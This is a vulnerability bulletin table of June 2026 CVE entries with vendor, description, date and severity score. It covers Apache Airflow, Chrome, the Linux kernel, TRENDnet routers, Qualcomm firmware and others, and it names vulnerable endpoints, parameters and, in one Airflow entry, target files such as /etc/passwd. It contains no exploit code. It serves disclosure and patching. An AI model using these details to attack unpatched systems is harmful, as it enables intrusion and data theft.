CVE-2026-41084	apache - airflow	A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	7.5
CVE-2026-49361	apache - fluss	Apache Fluss versions prior to 0.9.1 configure the Netty LengthFieldBasedFrameDecoder with Integer.MAX_VALUE as the maximum frame length, allowing unauthenticated remote attackers to exhaust JVM heap memory on TabletServer and CoordinatorServer by sending specially crafted frame headers, resulting in denial of service. This issue affects Apache Fluss (incubating): 0.8.0 and 0.9.0. Users are recommended to upgrade to version 0.9.1, which fixes the issue.	2026-06-01	7.5
CVE-2026-10701	mozilla - firefox	Incorrect boundary conditions in the Graphics: Text component. This vulnerability was fixed in Firefox 151.0.3.	2026-06-02	7.5
CVE-2026-46265	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: RDMA/hns: Fix WQ_MEM_RECLAIM warning When sunrpc is used, if a reset triggered, our wq may lead the following trace: workqueue: WQ_MEM_RECLAIM xprtiod:xprt_rdma_connect_worker [rpcrdma]	2026-06-03	7.5

		is flushing !WQ_MEM_RECLAIM hns_roce_irq_workq:flush_work_handle [hns_roce_hw_v2] WARNING: CPU: 0 PID: 8250 at kernel/workqueue.c:2644 check_flush_dependency+0xe0/0x144 Call trace: check_flush_dependency+0xe0/0x144 start_flush_work.constprop.0+0x1d0/0x2f0 __flush_work.isra.0+0x40/0xb0 flush_work+0x14/0x30 hns_roce_v2_destroy_qp+0xac/0x1e0 [hns_roce_hw_v2] ib_destroy_qp_user+0x9c/0x2b4 rdma_destroy_qp+0x34/0xb0 rpcrdma_ep_destroy+0x28/0xcc [rpcrdma] rpcrdma_ep_put+0x74/0xb4 [rpcrdma] rpcrdma_xprt_disconnect+0x1d8/0x260 [rpcrdma] xprt_rdma_connect_worker+0xc0/0x120 [rpcrdma] process_one_work+0x1cc/0x4d0 worker_thread+0x154/0x414 kthread+0x104/0x144 ret_from_fork+0x10/0x18 Since QP destruction frees memory, this wq should have the WQ_MEM_RECLAIM.		
CVE-2025-46638	dell - BSAFE SSL-J	Dell BSAFE SSL-J contains an allocation of resources without limits or throttling vulnerability. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to a Denial of Service (DoS).	2026-06-04	7.5
CVE-2026-28318	solarwinds - multiple products	SolarWinds Serv-U is susceptible to specially crafted POST requests that crash the Serv-U service without authentication using Content-Encoding: deflate. Mitigation steps are provided to secure customer environments in the SolarWinds Trust Center if you are unable to deploy the update	2026-06-04	7.5
CVE-2026-10899	google - chrome	Use after free in Ozone in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	7.5
CVE-2026-10900	google - chrome	Use after free in Passwords in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	7.5
CVE-2026-10901	google - chrome	Use after free in Passwords in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	7.5
CVE-2026-10906	google - chrome	Use after free in WebAuthentication in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.5
CVE-2026-10946	google - chrome	Heap buffer overflow in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.5
CVE-2026-10969	google - chrome	Insufficient validation of untrusted input in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.5
CVE-2026-11058	google - chrome	Integer overflow in CredentialProvider in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform OS-level privilege escalation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	7.5
CVE-2026-11149	google - chrome	Insufficient validation of untrusted input in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	7.5
CVE-2026-11151	google - chrome	Insufficient validation of untrusted input in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	7.5
CVE-2026-11154	google - chrome	Use after free in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	7.5
CVE-2026-11239	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	7.5
CVE-2026-11242	google - chrome	Insufficient validation of untrusted input in Plugins in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	7.5
CVE-2026-11255	google - chrome	Insufficient validation of untrusted input in Storage Access API in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	7.5
CVE-2026-11265	google - chrome	Inappropriate implementation in Autofill in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	7.5
CVE-2026-11296	google - chrome	Inappropriate implementation in ImageCapture in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	7.5
CVE-2026-10158	trendnet - TEW-432BRP	A security flaw has been discovered in TRENDnet TEW-432BRP 3.10B20. Affected is the function formPortFw of the file /goform/formPortFw. The manipulation of the argument server_name results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able	2026-05-31	7.4

		to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.		
CVE-2026-10159	trendnet - TEW-432BRP	A weakness has been identified in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formSysLog of the file /goform/formSysLog. This manipulation of the argument current_page causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10160	trendnet - TEW-432BRP	A security vulnerability has been detected in TRENDnet TEW-432BRP 3.10B20. Affected by this issue is the function formSetEnableWizard of the file /goform/formSetEnableWizard. Such manipulation of the argument start_wizard leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10161	trendnet - TEW-432BRP	A vulnerability was detected in TRENDnet TEW-432BRP 3.10B20. This affects the function formResetStatistic of the file /goform/formResetStatistic. Performing a manipulation of the argument status_statistic results in stack-based buffer overflow. The attack may be initiated remotely. The exploit is now public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10162	trendnet - TEW-432BRP	A flaw has been found in TRENDnet TEW-432BRP 3.10B20. This vulnerability affects the function formSetPassword of the file /goform/formSetPassword. Executing a manipulation of the argument webpage can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been published and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10179	trendnet - TEW-432BRP	A flaw has been found in TRENDnet TEW-432BRP 3.10B20. This issue affects the function formSetWlanEncrypt of the file /goform/formSetWlanEncrypt. This manipulation of the argument webpage causes stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10181	trendnet - TEW-432BRP	A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. The affected element is the function formSysCmd of the file /goform/formSysCmd. Performing a manipulation of the argument submit-url results in stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10183	trendnet - TEW-432BRP	A vulnerability was identified in TRENDnet TEW-432BRP 3.10B20. This affects the function formWlanSetup of the file /goform/formWlanSetup. The manipulation of the argument enrollee leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	7.4
CVE-2026-10206	d-link - DI-8400	A vulnerability was detected in D-Link DI-8400 up to 16.07.26A1. This affects an unknown function of the file /dbsrv.asp. Performing a manipulation of the argument str results in stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit is now public and may be used. The initial researcher advisory mentions contradicting parameter names to be affected.	2026-06-01	7.4
CVE-2026-10968	google - chrome	Insufficient validation of untrusted input in Dawn in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.4
CVE-2026-10973	google - chrome	Uninitialized Use in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.4
CVE-2026-10976	google - chrome	Uninitialized Use in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	2026-06-04	7.4
CVE-2026-45360	apache - airflow	Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	7.3
CVE-2026-46250	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: MIPS: Work around LLVM bug when gp is used as global register variable On MIPS, __current_thread_info is defined as global register variable locating in $gp, and is simply assigned with new address during kernel relocation.	2026-06-03	7.3

		This however is broken with LLVM, which always restores $gp if it finds $gp is clobbered in any form, including when intentionally through a global register variable. This is against GCC's documentation[1], which requires a callee-saved register used as global register variable not to be restored if it's clobbered. As a result, $gp will continue to point to the unrelocated kernel after the epilog of relocate_kernel(), leading to an early crash in init_idle, [0.000000] CPU 0 Unable to handle kernel paging request at virtual address 0000000000000000, epc == ffffffff81afada8, ra == ffffffff81afad90 [0.000000] Oops[#1]: [0.000000] CPU: 0 UID: 0 PID: 0 Comm: swapper Tainted: G W 6.19.0-rc5-00262-gd3eeb99bbc99-dirty #188 VOLUNTARY [0.000000] Tainted: [W]=WARN [0.000000] Hardware name: loongson,loongson64v-4core-virtio [0.000000] $ 0 : 0000000000000000 0000000000000000 0000000000000001 0000000000000000 [0.000000] $ 4 : ffffffff80b80ec0 ffffffff80b53d48 0000000000000000 00000000000f4240 [0.000000] $ 8 : 0000000000000100 ffffffff81d82f80 ffffffff81d82f80 0000000000000001 [0.000000] $12 : 0000000000000000 ffffffff81776f58 00000000000005da 0000000000000002 [0.000000] $16 : ffffffff80b80e40 0000000000000000 ffffffff80b81614 9800000005dfbe80 [0.000000] $20 : 00000000540000e0 ffffffff81980000 0000000000000000 ffffffff80f81c80 [0.000000] $24 : 0000000000000a26 ffffffff8114fb90 [0.000000] $28 : ffffffff80b50000 ffffffff80b53d40 0000000000000000 ffffffff81afad90 [0.000000] Hi : 0000000000000000 [0.000000] Lo : 0000000000000000 [0.000000] epc : ffffffff81afada8 init_idle+0x130/0x270 [0.000000] ra : ffffffff81afad90 init_idle+0x118/0x270 [0.000000] Status: 540000e2 KX SX UX KERNEL EXL [0.000000] Cause : 00000008 (ExcCode 02) [0.000000] BadVA : 0000000000000000 [0.000000] PrId : 00006305 (ICT Loongson-3) [0.000000] Process swapper (pid: 0, threadinfo=(____ptrval____), task=(____ptrval____), tls=0000000000000000) [0.000000] Stack : 9800000005dfbf00 ffffffff8178e950 0000000000000000 0000000000000000 [0.000000] 0000000000000000 ffffffff81970000 000000000000003f ffffffff810a6528 [0.000000] 0000000000000001 9800000005dfbe80 9800000005dfbf00 ffffffff81980000 [0.000000] ffffffff810a6450 ffffffff81afb6c0 0000000000000000 ffffffff810a2258 [0.000000] ffffffff81d82ec8 ffffffff8198d010 ffffffff81b67e80 ffffffff8197dd98 [0.000000] ffffffff81d81c80 ffffffff81930000 0000000000000040 0000000000000000 [0.000000] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [0.000000] 0000000000000000 000000000000009e ffffffff9fc01000 0000000000000000 [0.000000] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [0.000000] 0000000000000000 ffffffff81ae86dc ffffffff81b3c741 0000000000000002 [0.000000] ... [0.000000] Call Trace: [0.000000] [<ffffffff81afada8>] init_idle+0x130/0x270 [0.000000] [<ffffffff81afb6c0>] sched_init+0x5c8/0x6c0 [0.000000] [<ffffffff81ae86dc>] start_kernel+0x27c/0x7a8 This bug has been reported to LLVM[2] and affects version from (at least) 18 to 21. Let's work around this by using inline assembly to assign $gp before a fix is widely available.		
CVE-2026-11035	google - chrome	Inappropriate implementation in Custom Tabs in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to perform privilege escalation via a crafted XML file. (Chromium security severity: Medium)	2026-06-04	7.3
CVE-2026-11115	google - chrome	Use after free in Updater in Google Chrome on Windows prior to 149.0.7827.53 allowed a local attacker to perform OS-level privilege escalation via a malicious file. (Chromium security severity: Medium)	2026-06-04	7.3
CVE-2026-40961	apache - airflow	A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.	2026-06-01	7.2
CVE-2026-24085	qualcomm - qca6391_firmware	Memory Corruption when processing display command line information due to improper initialization of a variable.	2026-06-01	7.2
CVE-2026-24087	qualcomm - ar8031_firmware	Memory corruption while processing fastboot OEM commands.	2026-06-01	7.2
CVE-2026-24089	qualcomm - ar8031_firmware	Memory corruption while processing fastboot commands with invalid input.	2026-06-01	7.2
CVE-2026-24091	qualcomm - c-v2x_9150_firmware	Memory corruption while processing fastboot commands with improperly formatted input.	2026-06-01	7.2
CVE-2026-24092	qualcomm - ar8031_firmware	Memory Corruption when processing fastboot commands to set display mode.	2026-06-01	7.2
CVE-2026-10843	red hat - multiple products	A flaw was found in the OpenShift Cloud Credential Operator Mint-mode IAM policies for AWS. Operator credentials are provisioned with account-wide scope for destructive actions rather than	2026-06-04	7.2

		being restricted to cluster-owned resources, enabling cross-scope impact after credential compromise.		
CVE-2026-48827	apache - multiple products	Path traversal vulnerability in Apache MINA SSHD bundle sshd-git. Lack of path validation in git-upload-pack, git-receive-pack, and other git operations allows users authenticated over SSH access to git repositories outside the configured git server root directory. Applications are affected if they use org.apache.sshd:sshd-git. Applications not using sshd-git are not affected. Users are advised to upgrade affected applications to Apche MINA SSHD 2.18.0, which fixes the issue. The issue also is present in the pre-release milestones 3.0.0-M1 to 3.0.0-M3 for a new upcoming new major version 3.0.0. Again, applications are affected only if they use sshd-git. Upgrade affected applications to 3.0.0-M4. We would like to point out that a professional git server should not rely solely on file system layout and permissions, but should implement additional security controls to govern access to git repositories and operations allowed on particular git repositories.	2026-06-01	7.1
CVE-2026-46243	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: smb: client: reject userspace cifs.spnego descriptions cifs.spnego key descriptions contain authority-bearing fields such as pid, uid, creduid, and upcall_target that cifs.upcall treats as kernel-originating inputs. However, userspace can also create keys of this type through request_key(2) or add_key(2), allowing those fields to be supplied without CIFS origin. Only accept cifs.spnego descriptions while CIFS is using its private spnego_cred to request the key.	2026-06-01	7.1
CVE-2026-24090	qualcomm - ar8031_firmware	Cryptographic issue while processing partition table entries allows unauthorized modification of boot flow.	2026-06-01	7.1
CVE-2026-1871	tp-link - multiple products	TP-Link Tapo C200 v5 contains a stack-based buffer overflow flaw in RTSP authentication handling due to improper validation of Authorization header field lengths, which can be triggered by a crafted authentication request. Successful exploitation causes the affected RTSP core service process to crash and triggers an automatic system reboot, resulting in a denial of service (DoS) condition. This prevents legitimate users from accessing the camera's live video stream or management interface until the service restarts.	2026-06-02	7.1
CVE-2026-10840	red hat - multiple products	A flaw was found in the OpenShift Pipelines operator. The tekton-scheduler-rolebinding ClusterRoleBinding grants the system:authenticated group write access to Kueue and cert-manager custom resources via the tekton-scheduler-role ClusterRole. When Kueue or cert-manager CRDs are present on the cluster, any authenticated user can disrupt workload scheduling, tamper with scheduling priorities, delete other tenants' Workload objects, or induce cert-manager to overwrite TLS Secrets including the default ingress controller certificate.	2026-06-04	7.1
CVE-2026-11269	google - chrome	Inappropriate implementation in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker in a privileged network position to execute arbitrary code inside a sandbox via a crafted Chrome Extension. (Chromium security severity: Low)	2026-06-05	7.1
CVE-2026-21025	samsung - multiple products	Incorrect privilege assignment in Telephony prior to SMR Jun-2026 Release 1 allows local attackers to access sensitive information.	2026-06-05	6.9
CVE-2026-21032	samsung - assistant	Improper export of android application components in SmartHomeWidgetReceiver of Samsung Assistant prior to version 9.3.14 allows local attacker to execute arbitrary script.	2026-06-05	6.9
CVE-2026-21033	samsung - assistant	Improper export of android application components in ExpressHomeWidgetReceiver of Samsung Assistant prior to version 9.3.14 allows local attacker to execute arbitrary script.	2026-06-05	6.9
CVE-2026-0048	google - multiple products	In hide of WindowState.java, there is a possible way to trick the user into approving permissions due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.8
CVE-2026-0086	google - multiple products	In onCreate of DisableSupervisionActivity.kt, there is a possible way to delete supervision data due to a missing null check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.8
CVE-2026-11166	google - chrome	Inappropriate implementation in SVG in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.8

CVE-2026-11218	google - chrome	Inappropriate implementation in PlatformIntegration in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a malicious file. (Chromium security severity: Low)	2026-06-04	6.8
CVE-2026-21029	samsung - multiple products	Improper export of android application components in Galaxy Editing Service prior to SMR Jun-2026 Release 1 allows local attacker to execute privileged operations.	2026-06-05	6.8
CVE-2025-59611	qualcomm - aqt1000_firmware	Memory corruption in diagnostic services due to absence of input validation	2026-06-01	6.7
CVE-2025-59612	qualcomm - cologne_firmware	Memory corruption in windows drivers while sending incorrect trusted application request	2026-06-01	6.7
CVE-2025-59613	qualcomm - cologne_firmware	Memory Corruption when output buffer size is smaller than input buffer size during data copying operation.	2026-06-01	6.7
CVE-2025-59614	qualcomm - cologne_firmware	Memory Corruption when sending random number generator command with insufficient output buffer size.	2026-06-01	6.7
CVE-2026-10805	red hat - multiple products	A flaw was found in NetworkManager. This local privilege escalation vulnerability exists in NetworkManager's dhclient backend when processing malformed Manufacturer Usage Description (MUD) URLs. A local user can exploit this flaw to escalate privileges by triggering a script via a crafted MUD URL, provided an administrator has explicitly configured NetworkManager to use dhclient. This issue does not affect default configurations of NetworkManager.	2026-06-04	6.7
CVE-2026-45192	apache - airflow	A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.	2026-06-01	6.5
CVE-2026-40861	apache - airflow	A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.	2026-06-01	6.5
CVE-2026-42358	apache - airflow	A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like `password`, `token`, `secret`, `api_key`) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via `max_depth=1`); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the deep-nesting path.	2026-06-01	6.5
CVE-2026-42360	apache - airflow	A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.	2026-06-01	6.5
CVE-2026-48726	apache - airflow	A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.	2026-06-01	6.5
CVE-2026-0039	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2026-0040	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2026-0041	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible UBSan failure due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2026-0044	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause the system to crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5

CVE-2026-0051	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2026-0052	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2026-0080	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	6.5
CVE-2025-59601	qualcomm - fastconnect_7800 _firmware	Information Disclosure when resetting device to factory default settings through powerline interface allows unauthorized access to device configuration.	2026-06-01	6.5
CVE-2026-3870	zyxel - VMG4005-B50B firmware	A buffer overflow vulnerability in the UPnP AddPortMapping() command in Zyxel VMG4005-B50B firmware versions through 5.13(ABRL.5.4)C0 could allow an adjacent attacker to trigger a temporary denial-of-service (DoS) condition affecting the UPnP function of the affected device.	2026-06-02	6.5
CVE-2026-3871	zyxel - VMG4005-B50B firmware	A buffer overflow vulnerability in the UPnP DeletePortMapping() command in Zyxel VMG4005-B50B firmware versions through 5.13(ABRL.5.4)C0 could allow an adjacent attacker to trigger a temporary denial-of-service (DoS) condition affecting the UPnP function of the affected device.	2026-06-02	6.5
CVE-2026-46718	apache - calcite	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Calcite. This issue affects Apache Calcite: from 1.5.0 before 1.42. Users are recommended to upgrade to version 1.42, which fixes the issue.	2026-06-02	6.5
CVE-2026-10912	google - chrome	Insufficient validation of untrusted input in Extensions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10937	google - chrome	Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10938	google - chrome	Inappropriate implementation in Input in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10944	google - chrome	Insufficient policy enforcement in Autofill in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10950	google - chrome	Insufficient policy enforcement in Autofill in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10977	google - chrome	Uninitialized Use in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10979	google - chrome	Out of bounds read in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10980	google - chrome	Insufficient validation of untrusted input in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10981	google - chrome	Insufficient validation of untrusted input in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted video file. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10985	google - chrome	Out of bounds read in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	2026-06-04	6.5
CVE-2026-10992	google - chrome	Insufficient data validation in Animation in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	6.5
